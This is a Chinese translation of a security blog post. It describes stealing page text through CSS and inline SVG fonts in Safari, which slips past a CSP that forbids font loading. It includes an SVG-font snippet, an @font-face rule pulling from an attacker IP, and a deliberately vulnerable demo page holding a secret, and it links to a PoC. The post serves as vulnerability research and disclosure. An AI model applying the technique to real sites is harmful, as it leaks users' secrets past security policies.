通过CSS与SVG字体实现数据窃取的技术解析

本文详细介绍了攻击者如何利用CSS与SVG字体技术,在特定场景(如输入被严格过滤或受CSP限制)下,绕过安全策略读取页面中的敏感文本内容,并提供了概念验证(PoC)与实现细节。

Data Exfiltration via CSS + SVG Font

本文将展示如何利用SVG字体和CSS来读取页面的文本内容。

目前已有多种已知的通过CSS读取页面文本内容的方法。这些已知技术在Juan Manuel Fernández的以下文章中已有详尽的阐述: CSS Injection Primitives :: DoomsDay Vault

在某些情况下,这些技术对攻击者非常有用。例如,当用户输入被严格过滤、只能使用有限的HTML标签时,或者由于内容安全策略(CSP)的限制而无法执行JavaScript时。

我今天要介绍的技术便是其中之一。其基本思路与Michał Bentkowski提出的字体连字技巧相同。 Stealing Data in Great style – How to Use CSS to Attack Web Application. - research.securitum.com

我的方法与之大体相同,但我未曾见过任何文章提及我接下来要介绍的这种技术。我认为它值得被提及,因为在我将要解释的特定情境下(例如当Michał的技术因CSP限制而无法使用时),它会非常有用,所以我写了这篇文章。

在我日语的博客文章中,我曾详细解释过Michał的技巧。不过阅读本文的读者应该懂英文,所以请先阅读他的文章 :)

好了,你已经读完了,对吧?从他的文章中你了解到,他使用了从SVG字体转换而来的WOFF字体。而在我的技巧中,我直接使用SVG字体而不进行转换。Michał曾提到"浏览器已经停止支持字体中的SVG格式(因此需要使用WOFF格式)",但事实上,Safari仍然支持它。

归根结底,我要介绍的技巧只不过是将他的技巧替换为SVG字体。然而,我仍然想要介绍这个技巧的原因是,即使字体加载被CSP策略阻止,SVG字体依然可以使用。也就是说,即使在CSP禁止加载字体的页面上,SVG字体也允许读取文本内容。这是因为SVG字体不仅可以像WOFF字体那样从URL加载,其所有字体组件都可以以内联方式定义,无需从URL加载。

让我们看看如何替换Michał的技巧。

在他的技巧中,WOFF字体通过<style>中的@font-face加载。

1
2
3
4
5
6
7
<style>
@font-face {
    font-family: "hack";
    src: url(http://192.168.13.37:3001/font/%22/0)
}
[...]
</style>

这个样式可以用以下内联SVG替换。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<svg>
<defs>
<font horiz-adv-x="0">
<font-face font-family="hack" units-per-em="1000"></font-face>
<glyph unicode="&quot;0" horiz-adv-x="99999" d="M1 0z"></glyph>
<glyph unicode="1" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="2" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="3" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="4" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="5" horiz-adv-x="0" d="M1 0z"></glyph>
[...]
</font>
</defs>
</svg>

现在,如果通过CSS将font-family属性设置为"hack",那么这个SVG字体将应用于SVG外部的目标文本。即使CSP设置了font-src 'none',这也不会被阻止。(注意,为了观察泄漏的数据,此技巧与Michał的技巧一样,同样使用了背景图片请求。因此,至少需要在img-src指令中允许可以观察到请求的主机。)

我将向你展示概念验证(PoC)。假设存在如下漏洞页面: https://vulnerabledoma.in/svg_font/xss.html?xss=%3Cs%3EXSS%3Cscript%3Ealert(1)%3C/script%3E

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-random';style-src 'unsafe-inline';img-src https:">
</head>
<body>
<script id="leakme" nonce="random">const secret = "573ba8e9bfd0abd3d69d8395db582a9e";</script>
<script nonce="random">
const params = (new URL(document.location)).searchParams;
const xss = params.get('xss');
if(xss){
    document.write(xss);
}
</script>
</body>
</html>

我将展示SVG字体如何泄露"secret"变量。

你可以在Safari中打开以下URL并点击"Go"按钮来复现。 PoC: https://l0.cm/svg_font/poc.php

完整代码可以在以下地址找到:https://github.com/masatokinugawa/css-exfiltration-svg-font

如果PoC正确运行,如下方视频所示,多个新窗口将会打开。等待一段时间后,secret变量的字符串将会一点一点地显示在包含"Go"按钮的页面上,例如"573b …"。

除了使用SVG字体外,它与Michał的PoC几乎相同,但有一些改动。在他的PoC中,他将目标页面加载到iframe中,但在我的PoC中,我使用了window.open()来代替。这是因为Safari现在默认阻止所有第三方Cookie,我认为在Safari中使用iframe进行攻击的PoC不太现实。同时,我改变了传递数据的方式。同样,由于第三方Cookie被阻止,加载背景图片时无法设置Cookie,因此我改用URL参数传递会话ID。

顺便说一下,如果你习惯使用Chrome,你可能会好奇为什么一次点击会打开多个新窗口。这是因为Safari虽然有弹窗拦截器,但对于一次点击能打开的窗口数量没有限制。得益于此,可以利用多个窗口高效地尝试读取数据。

就是这样。感谢阅读!希望这篇文章对你有帮助。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计